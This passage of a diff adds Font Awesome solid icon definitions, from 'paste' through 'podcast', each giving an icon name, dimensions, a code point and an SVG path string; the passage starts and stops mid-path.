13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z"], + "paste": [448, 512, [], "f0ea", "M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z"], + "pause": [448, 512, [], "f04c", "M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z"], + "pause-circle": [512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z"], + "paw": [512, 512, [], "f1b0", "M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z"], + "peace": [496, 512, [], "f67c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z"], + "pen": [512, 512, [], "f304", "M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z"], + "pen-alt": [512, 512, [], "f305", "M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z"], + "pen-fancy": [512, 512, [], "f5ac", "M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z"], + "pen-nib": [512, 512, [], "f5ad", "M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z"], + "pen-square": [448, 512, [], "f14b", "M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z"], + "pencil-alt": [512, 512, [], "f303", "M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z"], + "pencil-ruler": [512, 512, [], "f5ae", "M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z"], + "people-arrows": [576, 512, [], "e068", "M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z"], + "people-carry": [640, 512, [], "f4ce", "M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z"], + "pepper-hot": [512, 512, [], "f816", "M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z"], + "percent": [448, 512, [], "f295", "M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z"], + "percentage": [384, 512, [], "f541", "M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z"], + "person-booth": [576, 512, [], "f756", "M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z"], + "phone": [512, 512, [], "f095", "M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z"], + "phone-alt": [512, 512, [], "f879", "M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z"], + "phone-slash": [640, 512, [], "f3dd", "M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"], + "phone-square": [448, 512, [], "f098", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z"], + "phone-square-alt": [448, 512, [], "f87b", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z"], + "phone-volume": [384, 512, [], "f2a0", "M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z"], + "photo-video": [640, 512, [], "f87c", "M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z"], + "piggy-bank": [576, 512, [], "f4d3", "M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z"], + "pills": [576, 512, [], "f484", "M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z"], + "pizza-slice": [512, 512, [], "f818", "M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"], + "place-of-worship": [640, 512, [], "f67f", "M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z"], + "plane": [576, 512, [], "f072", "M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z"], + "plane-arrival": [640, 512, [], "f5af", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z"], + "plane-departure": [640, 512, [], "f5b0", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z"], + "plane-slash": [640, 512, [], "e069", "M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z"], + "play": [448, 512, [], "f04b", "M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z"], + "play-circle": [512, 512, [], "f144", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z"], + "plug": [384, 512, [], "f1e6", "M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z"], + "plus": [448, 512, [], "f067", "M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "plus-circle": [512, 512, [], "f055", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"], + "plus-square": [448, 512, [], "f0fe", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"], + "podcast": [448, 512, [], "f2ce", "M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 